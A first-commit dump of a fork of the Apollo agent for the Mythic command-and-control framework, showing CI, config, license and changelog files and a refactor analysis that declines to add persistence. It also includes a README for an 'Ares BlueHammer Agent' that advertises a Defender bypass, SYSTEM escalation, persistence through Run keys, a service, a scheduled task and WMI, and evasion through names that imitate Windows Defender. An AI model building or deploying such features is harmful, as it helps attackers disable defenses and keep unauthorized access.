first commit

This commit is contained in:
Aryma
2026-04-14 12:17:24 +07:00
commit 2f05f67733
799 changed files with 531884 additions and 0 deletions
+5
View File
@@ -0,0 +1,5 @@
root = true
[*.{py,js,cs}]
indent_style = space
indent_size = 4
+139
View File
@@ -0,0 +1,139 @@
# Pulled from Thanatos (https://github.com/MythicAgents/thanatos/blob/rewrite/.github/workflows/image.yml) - MEhrn00
# Name for the Github actions workflow
name: Build and push container images
on:
# Only run workflow when there is a new release published in Github
#release:
# types: [published]
push:
branches:
- 'master'
- 'Mythic3.3'
tags:
- "v*.*.*"
# Variables holding configuration settings
env:
# Container registry the built container image will be pushed to
REGISTRY: ghcr.io
# Set the container image name to the Github repository name. (MythicAgents/apollo)
AGENT_IMAGE_NAME: ${{ github.repository }}
# Description label for the package in Github
IMAGE_DESCRIPTION: ${{ github.repository }} container for use with Mythic
# Source URL for the package in Github. This links the Github repository packages list
# to this container image
IMAGE_SOURCE: ${{ github.server_url }}/${{ github.repository }}
# License for the container image
IMAGE_LICENSE: BSD-3-Clause
# Set the container image version to the Github release tag
VERSION: ${{ github.ref_name }}
#VERSION: ${{ github.event.head_commit.message }}
RELEASE_BRANCH: master
jobs:
# Builds the base container image and pushes it to the container registry
agent_build:
runs-on: ubuntu-latest
permissions:
contents: write
packages: write
steps:
- name: Checkout the repository
uses: actions/checkout@v4 # ref: https://github.com/marketplace/actions/checkout
- name: Log in to the container registry
uses: docker/login-action@v3 # ref: https://github.com/marketplace/actions/docker-login
with:
registry: ${{ env.REGISTRY }}
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v2
with:
platforms: 'arm64,arm'
- name: Set up Docker Buildx
id: buildx
uses: docker/setup-buildx-action@v2
# the following are unique to this job
- name: Lowercase the server container image name
run: echo "AGENT_IMAGE_NAME=${AGENT_IMAGE_NAME,,}" >> ${GITHUB_ENV}
- name: Build and push the server container image
uses: docker/build-push-action@v5 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
with:
context: Payload_Type/apollo
file: Payload_Type/apollo/Dockerfile
tags: |
${{ env.REGISTRY }}/${{ env.AGENT_IMAGE_NAME }}:${{ env.VERSION }}
${{ env.REGISTRY }}/${{ env.AGENT_IMAGE_NAME }}:latest
push: ${{ github.ref_type == 'tag' }}
# These container metadata labels allow configuring the package in Github
# packages. The source will link the package to this Github repository
labels: |
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
platforms: linux/amd64,linux/arm64
update_files:
runs-on: ubuntu-latest
needs:
- agent_build
permissions:
contents: write
packages: write
steps:
# Pull in the repository code
- name: Checkout the repository
uses: actions/checkout@v4 # ref: https://github.com/marketplace/actions/checkout
# update names to lowercase
- name: Lowercase the container image name
run: echo "AGENT_IMAGE_NAME=${AGENT_IMAGE_NAME,,}" >> ${GITHUB_ENV}
# The Dockerfile which Mythic uses to pull in the base container image needs to be
# updated to reference the newly built container image
- name: Fix the server Dockerfile reference to reference the new release tag
working-directory: Payload_Type/apollo
run: |
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${AGENT_IMAGE_NAME}:${VERSION}|" Dockerfile
- name: Update package.json version
uses: jossef/action-set-json-field@v2.1
with:
file: config.json
field: remote_images.apollo
value: ${{env.REGISTRY}}/${{env.AGENT_IMAGE_NAME}}:${{env.VERSION}}
# Push the changes to the Dockerfile
- name: Push the updated base Dockerfile image reference changes
if: ${{ github.ref_type == 'tag' }}
uses: EndBug/add-and-commit@v9 # ref: https://github.com/marketplace/actions/add-commit
with:
# Only add the Dockerfile changes. Nothing else should have been modified
add: "['Payload_Type/apollo/Dockerfile', 'config.json']"
# Use the Github actions bot for the commit author
default_author: github_actions
committer_email: github-actions[bot]@users.noreply.github.com
# Set the commit message
message: "Bump Dockerfile tag to match release '${{ env.VERSION }}'"
# Overwrite the current git tag with the new changes
tag: '${{ env.VERSION }} --force'
# Push the new changes with the tag overwriting the current one
tag_push: '--force'
# Push the commits to the branch marked as the release branch
push: origin HEAD:${{ env.RELEASE_BRANCH }} --set-upstream
# Have the workflow fail in case there are pathspec issues
pathspec_error_handling: exitImmediately
+149
View File
@@ -0,0 +1,149 @@
**/rabbitmq_config.json
__pycache__/
*.py[cod]
**/*.dll
# Sphinx documentation
docs/_build/
# Environments
#.env
.venv
.DS_Store
env/
venv/
ENV/
env.bak/
venv.bak/
# pycharm
.idea/
# ssl certs
ssl/
# downloaded files
mythic_access.*
postgres-docker/database/
rabbitmq-docker/storage/
**/transforms.py
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
# User-specific files
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
bld/
[Bb]in/
[Oo]bj/
[Ll]og/
# Visual Studio 2015/2017 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# Visual Studio 2017 auto generated files
Generated\ Files/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUNIT
*.VisualState.xml
TestResult.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# Benchmark Results
BenchmarkDotNet.Artifacts/
# .NET Core
project.lock.json
project.fragment.lock.json
artifacts/
**/Properties/launchSettings.json
# StyleCop
StyleCopReport.xml
# Files built by Visual Studio
*_i.c
*_p.c
*_i.h
*.ilk
*.meta
*.obj
*.iobj
*.pch
*.pdb
*.ipdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# Visual Studio Trace Files
*.e2e
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
#Custom addition to not ignore the system.automation.dll
!Payload_Type/apollo/apollo/agent_code/packages/System.Management.Automation6.1.7/*
Payload_Type/apollo/loader.bin
+16
View File
@@ -0,0 +1,16 @@
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "Python: Current File",
"type": "python",
"request": "launch",
"program": "${file}",
"console": "integratedTerminal",
"cwd": "${workspaceFolder}"
}
]
}
+278
View File
@@ -0,0 +1,278 @@
# Apollo agent refactor analysis
## Scope
This review focuses on making the Apollo agent easier to maintain, safer to evolve, and easier to test. It does not include adding persistence, automatic privilege retention, exploit delivery, or integration with offensive exploit frameworks. If you need legitimate startup automation, the safer direction is a controlled startup pipeline for configuration validation, capability initialization, and operator-approved workflows.
## Current architecture summary
### Startup flow
- `Apollo/Program.cs` performs COM security initialization, runs environmental keying checks, constructs `Agent.Apollo`, and immediately calls `Start()`.
- `Apollo/Agent/Apollo.cs` wires together the manager set in the constructor, dynamically builds C2 profile instances from `Config`, and enters a `while (Alive)` loop that repeatedly tries `Checkin()` until connected.
- After a successful check-in, each connected egress profile is started directly from the agent.
### Task execution flow
- `Apollo/Management/Tasks/TaskManager.cs` loads the `Tasks` assembly with reflection.
- Task types are keyed by class name and instantiated with `Activator.CreateInstance`.
- `ApolloInterop/Classes/Core/Tasking.cs` wraps execution in an impersonation scope and provides task response helpers.
- Responses, delegate messages, SOCKS datagrams, and port-forward datagrams are buffered in in-memory queues and flushed into outbound tasking messages.
### Capability layout
- Core responsibilities are split into managers for C2, peer routing, SOCKS, reverse port forwarding, files, identity, process, injection, and Kerberos ticket handling.
- `KerberosTickets/KerberosHelpers.cs` contains low-level Windows interop, privilege elevation decisions, session enumeration, artifact collection, and ticket parsing in one helper surface.
- `Config.cs` acts as both build-time template input and runtime configuration source through compile-time switches and placeholder replacement.
## Main refactor opportunities
### 1. Introduce a bootstrap pipeline
The current startup path is very compact, but it tightly couples process entry, validation, agent construction, and network activation. A cleaner shape is:
1. `Program` only handles process entry and fatal startup failures.
2. `AgentBootstrapper` validates configuration and environment.
3. `AgentFactory` builds the agent and managers.
4. `AgentLifecycle` runs ordered startup stages.
5. `Apollo.Start()` becomes a coordination loop instead of an all-in-one bootstrap location.
Recommended startup stages:
- configuration validation
- environmental keying validation
- manager initialization
- task registry initialization
- optional warm-up checks
- initial check-in
- profile activation
This gives you a legitimate place to run automatic post-start actions such as:
- preloading task modules
- validating communication profiles
- collecting local health telemetry
- syncing sleep and jitter defaults
- starting non-offensive local maintenance services
### 2. Replace reflection-heavy task discovery with a registry
`TaskManager` currently uses assembly-wide reflection and derives command names from `t.FullName.Split('.')[1]`. That works, but it is brittle.
Refactor target:
- create a `TaskDescriptor` model with `CommandName`, `Factory`, and `Metadata`
- build a `TaskRegistry` once at startup
- validate duplicate command names early
- separate built-in tasks from dynamically loaded modules
- return explicit errors when a task exists but fails dependency or version checks
Benefits:
- safer command lookup
- easier unit testing
- better diagnostics for load failures
- simpler support for task versioning and capability flags
### 3. Add an explicit lifecycle model
The agent currently has `Alive`, `Exit()`, sleep primitives, and multiple background workers, but no unified lifecycle state.
Refactor target:
- define states such as `Created`, `Bootstrapping`, `Ready`, `Connecting`, `Connected`, `Stopping`, `Stopped`
- expose lifecycle transitions through a single coordinator
- make workers consume a shared cancellation token instead of each area managing its own thread stop pattern
- convert direct `Thread.Sleep` loops to wait handles or cancellable delays
Benefits:
- cleaner shutdown
- easier preview/test harnesses
- fewer race conditions during reconnects and task cancellation
### 4. Split transport orchestration from agent identity
`Apollo.Agent.Apollo` currently owns agent metadata, manager wiring, transport setup, and connection behavior.
Refactor target:
- keep `Agent` focused on state and capabilities
- move profile construction into `C2ProfileFactory`
- move connection policy into `ConnectionOrchestrator`
- move check-in payload assembly into `CheckinBuilder`
That separation makes it easier to evolve reconnect logic, backoff, profile failover, and health reporting without growing the main agent class.
### 5. Replace silent catch blocks with structured error reporting
There are several areas where exceptions are swallowed or only partially surfaced. The biggest example is the check-in loop in `Apollo/Agent/Apollo.cs`.
Refactor target:
- standardize a small error envelope with `Source`, `Operation`, `Message`, and `Recoverable`
- log recoverable startup and connection failures to a bounded in-memory telemetry store
- report actionable failures through the existing task response / debug plumbing where appropriate
- keep operator-visible output separate from internal diagnostics
This improves operability without changing external behavior.
### 6. Untangle `Config.cs`
`Config.cs` currently mixes:
- build-time templating
- profile selection
- placeholder values
- local build defaults
- runtime keying settings
Refactor target:
- move profile parameter parsing to typed config records
- isolate compile-time placeholders in a dedicated generated file
- add a validator that checks required keys and malformed values before startup
- expose normalized config objects to the rest of the codebase
This is one of the highest-value cleanups because it reduces hidden startup failures.
## Kerberos-specific refactor suggestions
`KerberosTickets/KerberosHelpers.cs` is doing several jobs at once:
- privilege escalation decision-making
- impersonation
- LSA interop
- session enumeration
- ticket cache parsing
- artifact creation
- error handling
Recommended split:
### `KerberosSessionProvider`
- enumerate logon sessions
- resolve logon session metadata
- own LSA handle lifetime
### `KerberosTicketQueryService`
- resolve auth package
- issue cache queries
- translate native structures into DTOs
### `KerberosPrivilegeContext`
- decide when elevation is required
- acquire and dispose impersonation handles safely
- expose a single execution wrapper
### `KerberosArtifactRecorder`
- isolate artifact generation from query logic
- remove shared mutable static collections
Additional improvements:
- replace static mutable state like `systemHandle` and `createdArtifacts` with request-scoped objects
- make every native handle owner disposable
- standardize native call result handling instead of mixing return checks and `Marshal.GetLastWin32Error()`
- return typed result objects rather than partial tuples where possible
## Safer startup automation
If your goal is "do more automatically after running", the safe refactor is not persistence. It is a startup jobs pipeline with explicit policy.
Recommended design:
### `IStartupAction`
Each startup action implements:
- `Name`
- `Order`
- `ShouldRun(AgentContext context)`
- `ExecuteAsync(AgentContext context, CancellationToken token)`
Examples of legitimate startup actions:
- validate config
- warm up interop resolvers
- register built-in capabilities
- start transport health probes
- preload task metadata
- publish a local readiness snapshot
### `StartupActionRunner`
- resolves ordered startup actions
- runs them once during bootstrap
- records result status
- stops startup on hard failures
### `StartupPolicy`
- defines which startup actions are enabled for a build or environment
- prevents hidden behavior from appearing in release builds
This gives you automation without embedding covert or unauthorized persistence behavior.
## What not to merge into the agent
I do not recommend turning this agent into something that automatically establishes persistence, silently escalates access, or consumes exploit tooling such as BlueHammer-style zero-day workflows. That crosses from maintainability work into building or improving offensive malware behavior.
If you are evaluating external research for a legitimate lab or detection-validation use case, keep it isolated outside the agent core:
- use a separate lab-only harness
- disable it by default at build time
- require explicit operator input
- keep it out of the bootstrap path
- never couple it to automatic startup behavior
## Recommended implementation order
### Phase 1
- add `AgentBootstrapper`
- add typed config validation
- move check-in message construction into a dedicated builder
- remove silent exception swallowing in startup and connection logic
### Phase 2
- introduce `TaskRegistry`
- replace ad hoc reflection lookup with validated registration
- add lifecycle states and shared cancellation control
### Phase 3
- split `KerberosHelpers` into smaller services
- remove static mutable helper state
- add native handle ownership wrappers and typed result objects
### Phase 4
- add `IStartupAction` and `StartupActionRunner`
- restrict startup automation to explicit, policy-controlled, non-persistence behaviors
## Concrete hotspots to address first
- `Apollo/Program.cs`: entry point currently owns validation and direct startup
- `Apollo/Agent/Apollo.cs`: constructor does too much wiring and `Start()` mixes connection policy with runtime looping
- `Apollo/Management/Tasks/TaskManager.cs`: task discovery and worker orchestration are tightly coupled
- `ApolloInterop/Classes/Core/Tasking.cs`: good reusable base, but it would benefit from richer execution metadata and cancellation reporting
- `KerberosTickets/KerberosHelpers.cs`: too many responsibilities in one helper and too much static mutable state
- `Apollo/Config.cs`: compile-time templating and runtime config concerns are mixed together
## Suggested first refactor slice
The smallest high-value first step is:
1. create `AgentBootstrapper`
2. move environment checks out of `Program`
3. extract `CheckinBuilder`
4. add a startup action pipeline for safe initialization only
5. add a `TaskRegistry` abstraction in front of the current `TaskManager`
That sequence improves structure immediately without changing the external command surface.
+151
View File
@@ -0,0 +1,151 @@
# Ares BlueHammer Agent
A sophisticated Mythic agent that integrates the BlueHammer Windows Defender exploit to bypass security controls, gain SYSTEM privileges, and establish persistent access.
## 🚀 Features
### Core Capabilities
- **Windows Defender Bypass**: Leverages BlueHammer exploit to disable Defender protections
- **SYSTEM Privilege Escalation**: Multiple techniques to gain NT Authority\SYSTEM privileges
- **Persistence Mechanisms**: Comprehensive persistence across multiple vectors
- **Mythic C2 Integration**: Full command and control capabilities
### Exploit Integration
- **BlueHammer Integration**: Direct integration with Windows Defender RPC vulnerability
- **VSS Manipulation**: Volume Shadow Copy exploitation for file access
- **Protected File Access**: Bypasses file protection mechanisms
### Persistence Methods
- **Registry Persistence**: HKCU and HKLM Run keys
- **Service Installation**: Windows service running as SYSTEM
- **Scheduled Tasks**: Hourly execution as SYSTEM
- **WMI Event Subscriptions**: Event-based execution triggers
- **Startup Folder**: User startup directory placement
## 📋 Requirements
- Python 3.8+
- PyInstaller (for building)
- Windows target system
- Mythic C2 server
## 🛠️ Installation & Building
### 1. Build the Agent
```bash
python build.py
```
### 2. Deploy the Agent
```bash
python deploy.py
```
### 3. Execute on Target
Copy `AresAgent.exe` to target system and execute:
```cmd
AresAgent.exe
```
## 🎯 Usage
The agent automatically performs the following sequence:
1. **Defender Bypass**: Executes BlueHammer to disable Windows Defender
2. **Privilege Escalation**: Gains SYSTEM privileges using multiple techniques
3. **Persistence Setup**: Establishes multiple persistence mechanisms
4. **C2 Connection**: Connects to Mythic server for command and control
### Manual Commands
You can also execute specific functions manually:
```python
# Bypass Windows Defender
agent.bypass_defender()
# Gain SYSTEM privileges
agent.gain_system_privileges()
# Establish persistence
agent.establish_persistence()
```
## 🔧 Configuration
Edit `hammer_agent_config.json` to configure:
```json
{
"mythic_server": "http://your-mythic-server.com:7443",
"api_key": "your-api-key-here",
"checkin_interval": 30,
"temp_directory": "C:\\Windows\\Temp"
}
```
## 🛡️ Persistence Mechanisms
### 1. Registry Persistence
- **HKCU**: `Software\Microsoft\Windows\CurrentVersion\Run`
- **HKLM**: `Software\Microsoft\Windows\CurrentVersion\Run`
### 2. Service Installation
- **Service Name**: `WinDefendUpdate`
- **Run As**: `LocalSystem`
- **Startup**: Automatic
### 3. Scheduled Tasks
- **Task Name**: `WindowsDefenderMaintenance`
- **Schedule**: Hourly
- **Run As**: `SYSTEM`
### 4. WMI Event Subscriptions
- Event-based execution triggers
- System event subscriptions
### 5. Startup Folder
- User startup directory
- Hidden executable
## 📊 Mythic Integration
### Supported Commands
- `bypass_defender` - Execute BlueHammer exploit
- `escalate_privileges` - Gain SYSTEM privileges
- `establish_persistence` - Set up persistence
- `execute_command` - Execute system commands
### C2 Communication
- Regular check-ins every 30 seconds
- Encrypted communication
- Task-based execution model
## 🔍 Detection Evasion
- **Fileless Execution**: Memory-based operation where possible
- **Hidden Files**: Attributes set to hidden
- **Temp Directory**: Execution from temporary locations
- **Legitimate Names**: Uses Windows Defender-related names
## ⚠️ Disclaimer
This tool is for educational and authorized penetration testing purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal.
## 🐛 Issues
Report issues and feature requests in the project repository.
## 📄 License
This project is licensed under the MIT License - see LICENSE file for details.
## 🙏 Credits
- BlueHammer exploit researchers
- Mythic C2 framework team
- Windows security researchers
---
**Ares Team** | Advanced Red Team Operations
+21
View File
@@ -0,0 +1,21 @@
{
"folders": [
{
"name": "Apollo code",
"path": "Payload_Type/apollo/apollo/agent_code"
},
{
"name": "Mythic code",
"path": "Payload_Type/apollo/apollo/mythic"
},
{
"name": "Project Root",
"path": "."
}
],
"extensions": {
"recommendations": [
"EditorConfig.EditorConfig"
]
}
}
View File
+105
View File
@@ -0,0 +1,105 @@
BSD 3-Clause License
Copyright (c) 2022, Dwight Hohnstein
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
## additionally included software licenses
### COFFLoader
Copyright 2020, COFFLoader by TrustedSec, LLC
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the distribution.
* Neither the name of TrustedSec, LLC nor the names of its contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The above licensing was taken from the BSD licensing and is applied to COFFLoader as well.
Note that the COFFLoader is provided as is, and is a royalty free open-source application.
Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit
is due (which means giving the authors the credit they deserve for writing it).
### Impacket
The Apache Software License, Version 1.1
Modifications by Fortra (see above)
Copyright (c) 2000 The Apache Software Foundation. All rights
reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the
distribution.
3. The end-user documentation included with the redistribution,
if any, must include the following acknowledgment:
"This product includes software developed by
SecureAuth Corporation (https://www.secureauth.com/) and Fortra (https://www.fortra.com)."
Alternately, this acknowledgment may appear in the software itself,
if and wherever such third-party acknowledgments normally appear.
4. The names "Impacket", "SecureAuth Corporation", and "Fortra" must
not be used to endorse or promote products derived from this
software without prior written permission. For written
permission, please reach out to https://www.coresecurity.com/about/contact.
5. Products derived from this software may not be called "Impacket",
nor may "Impacket" appear in their name, without prior written
permission of Fortra.
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
SUCH DAMAGE.
View File
+599
View File
@@ -0,0 +1,599 @@
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v2.4.12] - 2026-03-18
### Changed
- Added in `list_registered_files` and `remove_registered_file` commands to interact with Apollo's internal file store
## [v2.4.11] - 2026-03-13
### Changed
- Merged in PRs to support `httpx` and `azure_blob` C2 profiles
- Merged in PR to support a few forms of environmental keying (execution checks, not encryption)
## [v2.4.10] - 2026-02-20
### Changed
- Updated the `upload` command to allow new `-fileName` field and specifying an already uploaded file
- this brings `upload` in line with other file-based commands like `execute_assembly` and `execute_coff`
## [v2.4.9] - 2026-02-02
### Changed
- Updated `COFFLoader.dll` to be compiled with `Release` to help fix `VCRUNTIME140.dll` issues
## [v2.4.8] - 2025-12-23
### Changed
- Added `update_deleted` to more places within `ls` that do separate processing for better consistency
## [v2.4.7] - 2025-12-23
### Changed
- Added support for `update_deleted` in file browsers to auto mark files as "deleted" if they're not in folder listings
## [v2.4.6] - 2025-12-15
### Changed
- Fixing missing dependency change for custom browsers
## [v2.4.5] - 2025-12-12
### Changed
- Updated the COFFLoader.dll with the latest updates from TrustedSec's COFFLoader
- Added ldap_query
- Updated reg_query
## [v2.4.4] - 2025-12-02
### Changed
- Fixed a bug in `powerpick` that referenced an exception class in ExecuteAssembly
## [v2.4.3] - 2025-10-29
### Changed
- Updated PyPi package to v0.6.6
## [v2.4.2] - 2025-10-28
### Changed
- Updated PyPi Version to allow build parameters to specify ui position
## [v2.4.1] - 2025-10-27
### Added
- Added support for the HTTPX Profile C2 transport
- Uses client-side generated RSA keys (4096-bit) to perform EKE (Encrypted Key Exchange)
- Supports malleable profile transforms: base64, base64url, netbios, netbiosu, xor, prepend, append
- Supports all REST HTTP methods: GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD
- Supports message placement in query parameters, cookies, headers, and body
- Supports proxy configuration with authentication
- Supports domain fronting and custom HTTP headers
- Supports failover and round-robin domain rotation strategies
- Added environment keying support for hostname, domain name and registry keys
- Build process now conditionally includes only selected C2 profile projects
### Changed
- Updated PyPi version
- Merged in hotfix for P2P comms missing messages sometimes
## [v2.4.0] - 2025-10-07
### Changed
- Updated to mythic-container==v0.6.0 for dynamic parameters
- Updated build parameters to hide shellcode parameters when output type is not shellcode
- Updated c2 deviations to hide get-based parameters that aren't used by this profile
- Updated make_token to allow blank passwords
- Updated ticket_store_purge to process `all` flag properly
## [v2.3.51] - 2025-09-12
## Changed
- Updated steal_token to report back the integrity level of the old and new token
- Updated steal_token to adjust the callback's integrity level
- Updated rev2self to adjust the callback's integrity level
## [v2.3.50] - 2025-09-12
### Changed
- Fixed an issue with spawning processes after doing a `steal_token`
- it was using the primary token instead of the impersonated identity
## [v2.3.49] - 2025-09-10
### Changed
- Updated apollo's `ls` functionality to check if a path ends in `:` and update it to `:\` instead
- this fixes an issue with windows resolving `C:` as the current working directory compared to `C:\`
## [v2.3.48] - 2025-08-25
### Changed
- Fixed parsing for kerberos tickets in ticket_store_add
## [v2.3.47] - 2025-08-21
### Changed
- Updated the parsing for kerberos tickets via impacket to handle missing time values in tickets
## [v2.3.46] - 2025-08-19
### Changed
- Updated inline_assembly to check thread execution with timeouts to be able to detect kill jobs for threads better
- Updated execute_pe to just report back process exit instead of misleading error codes
## [v2.3.45] - 2025-08-11
### Changed
- Fixed a bug in Apollo's P2P code where queued messages could pile up and not get sent
## [v2.3.44] - 2025-07-24
### Changed
- Updated reg_write_value to split input on new lines for multiline input types
## [v2.3.43] - 2025-07-24
### Changed
- Updated reg_write_value to allow you to specify the type of data to write
- Updated screenshot and screenshot_inject to not send extra file_ids to user output since PutFile does that automaically
## [v2.3.42] - 2025-07-24
### Changed
- Updated the screenshot_inject processing to use donut PyPi package
## [v2.3.41] - 2025-07-18
### Changed
- Updated the file upload messages to show chunk status and bail out on errors
- Updated the status for execute_coff and execute_assembly to be more informative
## [v2.3.40] - 2025-07-17
### Changed
- Fixed an issue with upload via file browser not respecting pathing
## [v2.3.39] - 2025-07-15
### Changed
- Fixed a bug with ls-ing UNC paths via the file browser for alternative hosts
## [v2.3.38] - 2025-07-15
### Changed
- Updated `socks` and `rpfwd` tasks to auto-issue `sleep 0` tasks when starting
- Updated `socks` task to auto-issue `sleep 1` when stopping
- Updated `socks` and `rpfwd` task display parameters
- Updated `jobkill` display parameters to be more meaningful
- Updated `jump_psexec` output to make sc output prettier
- Updated `powerpick`, `execute_assembly`, and `execute_pe` to check for sacrificial process pid > 0 rather than exit
- this fixes a bug where access denied when spawning would lock when trying to kill a non-existent pid
- Updated logic in high integrity to only list out ticket cache values for current logon if no luid specified
- Updated ticket_cache_list to report back the current LUID even if there are no tickets available
- Updated the associated browser script to account for this
## [v2.3.37] - 2025-07-14
### Changed
- Fixed a small bug in make_token output that was repeating the old token claims instead of the new ones
- Fixed the same bug in steal_token output
## [v2.3.36] - 2025-07-11
### Changed
- Updated wmiexecute to try two different ways of impersonating user context for remote execution
- Added CoInitializeSecurity call into apollo main program
## [v2.3.35] - 2025-07-11
### Changed
- Updated display params for wmiexecute
- Updated display params for ticket_cache_list
## [v2.3.34] - 2025-07-10
### Changed
- Fixing keylog_inject
- adding keylog_inject browser script to go with it for basic conversion
## [v2.3.33] - 2025-07-10
### Changed
- Added a new interface function to update the Agent UUID
- Used this interface in HTTP and Websocket profiles
- Updated `unlink` command to leverage this for properly reflecting unlinked agents
- Fixed an issue in P2P code that wouldn't update P2P UUID after negotiating
## [v2.3.32] - 2025-07-08
### Changed
- Updated the help for the ticket commands
- Updated the error message for ticket_cache_extract
- Updated the completion function for ticket_cache_extract
## [v2.3.31] - 2025-07-07
### Changed
- Updated the processing for ticket_cache_list to better account for high/medium context
- Updated wmiexecute error code to be in hex not int
- Updated WebSocketClient code to reconnect on disconnect and added a few more checks for Proxy configs
## [v2.3.30] - 2025-07-03
### Changed
- Updated execute_coff, execute_assembly, inline_assembly, execute_pe, inline_assembly, and assembly_inject
- these no longer require `register_*` commands and will automatically fetch the file if needed first
## [v2.3.29] - 2025-06-23
### Changed
- Updated `cd` callback information to get the new proper directory instead of what the user supplied
## [v2.3.28] - 2025-06-19
### Changed
- Updated the make_token and steal_token commands to report back Auth status, Auth Package, and Claims per token
## [v2.3.27] - 2025-06-17
### Changed
